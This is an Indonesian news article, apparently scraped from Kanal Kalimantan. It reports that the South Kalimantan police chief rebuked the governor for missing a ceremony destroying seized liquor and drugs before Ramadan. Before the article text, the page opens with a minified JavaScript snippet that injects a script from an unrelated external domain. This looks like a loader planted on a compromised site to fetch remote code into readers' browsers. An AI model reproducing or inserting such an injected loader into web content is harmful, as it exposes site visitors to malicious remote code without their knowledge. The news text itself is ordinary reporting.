(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana SH sempat menyinggung ketidakhadiran Gubernur Kalsel Sahbirin Noor saat pemusnahan ribuan botol miras dan narkoba menjelang bulan Ramadhan, Rabu (16/5). Bahkan, saat menyambut kehadiran para tamu-tamu undangan, satu demi satu nama-nama tamu diucapkan. Namun saat membacakan tamu yang mewakili Gubernur Kalsel, dia enggan mengatakan “yang mewakili Gubernur†dan lebih memilih langsung menyambut pihak yang hadir.
Setelah menyambut para tamu undangan, jenderal berbintang satu tersebut menjelaskan bagaimana maraknya kasus peredaran miras dan narkoba yang menimbulkan banyak korban jiwa. Di tengah penjelasannya, Kapolda mengungkapkan keprihatinannya atas ketidakhadiran Gubernur Kalsel tersebut.
“Mestinya ini momentum tepat seorang pimpinan daerah dalam hal ini Gubernur peduli terhadap masyarakat yang ada di Provinsi Kalimantan Selatan. Harusnya hadir momentum seperti ini†kata Kapolda dalam sambutan.
Orang nomor satu di jajaran Polda Kalsel ini mengungkapkan, bahwa sudah sering kali undangan yang diberikan. Namun Gubernur tidak pernah datang. Dirinya juga berharap adanya campur tangan pemerintah Provinsi Kalsel dalam membantu mencegah adanya korban korban miras dan narkoba di Kalsel sejak usia dini.
“Saya sangat menyesal seorang pimpinan daerah tidak hadir dalam momentum seperti ini dan bahkan berkali berkali dalam undangan saya tidak hadir. Mau dibikin apa ini Provinsi Kalsel, apakah kita bertepuk sebelah tangan? Apakah hanya Polri dan BNN tanpa campur tangan Pemda mengatasi minum keras dan narkotika, sementara yang utama adalah mencegah para korban-korban itu,†katanya.
“Ulur tangan Pemprov itu harus diturunkan, tidak hanya memberantas. Memberantas itu gampang, masukin ke sel itu gampang. Tapi bagaimana mencegah dari usia dini kemudian menginjak remaja, sekarang kita liat para anjal-anjal (Anak Jalanan) itu menyedot lem, itu kepedulian pemerintah yang paling utama. Sementara kita TNI POLRI ada stakeholder yang berkompeten itu hanya untuk para pelaku,†tambahnya.
Sejenak suasana menjadi hening, para tamu terlihat diam. Tidak ingin berlama-lama Kapolda Kalsel pun melanjutkan sambutannya. Memang terlihat di kursi tamu undangan hanya nampak kehadiran Para pejabat Kepolisian, Danrem Korem 101 Antasari, Kepala BNN Banjarbaru dan Banjarmasin,Para Bupati dari masing masing daerah serta Tokoh Agama, Tokoh Adat dan Tokoh Masyarakat
Belum jelas atas dasar apa Gubernur Kalsel tidak menghadiri kegiatan ini, namun yang pasti pernyataan Kapolda Kalsel tersebut memberi dampak sendiri terhadap Pemerintah Kalsel.
Setelah membacakan sambutannya, Kapolda Kalsel melaksanakan pemusnahan barang bukti miras dan narkoba yang digelar di Lapangan Satpas Ditlantas Polda Kalsel Jalan A Yani Km 21 dan lanjut melaksanakan kegiatan lain di sana.
Di sisi lain, terkait ketidakhadiran gubernur dalam acara tersebut, belum ada pihak Provinsi yang mengklarifikasi. Sekdaprov Kalsel Haris Makkie yang coba dikonfirmasi melalui telepon tidak merespons.(Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
This website uses cookies.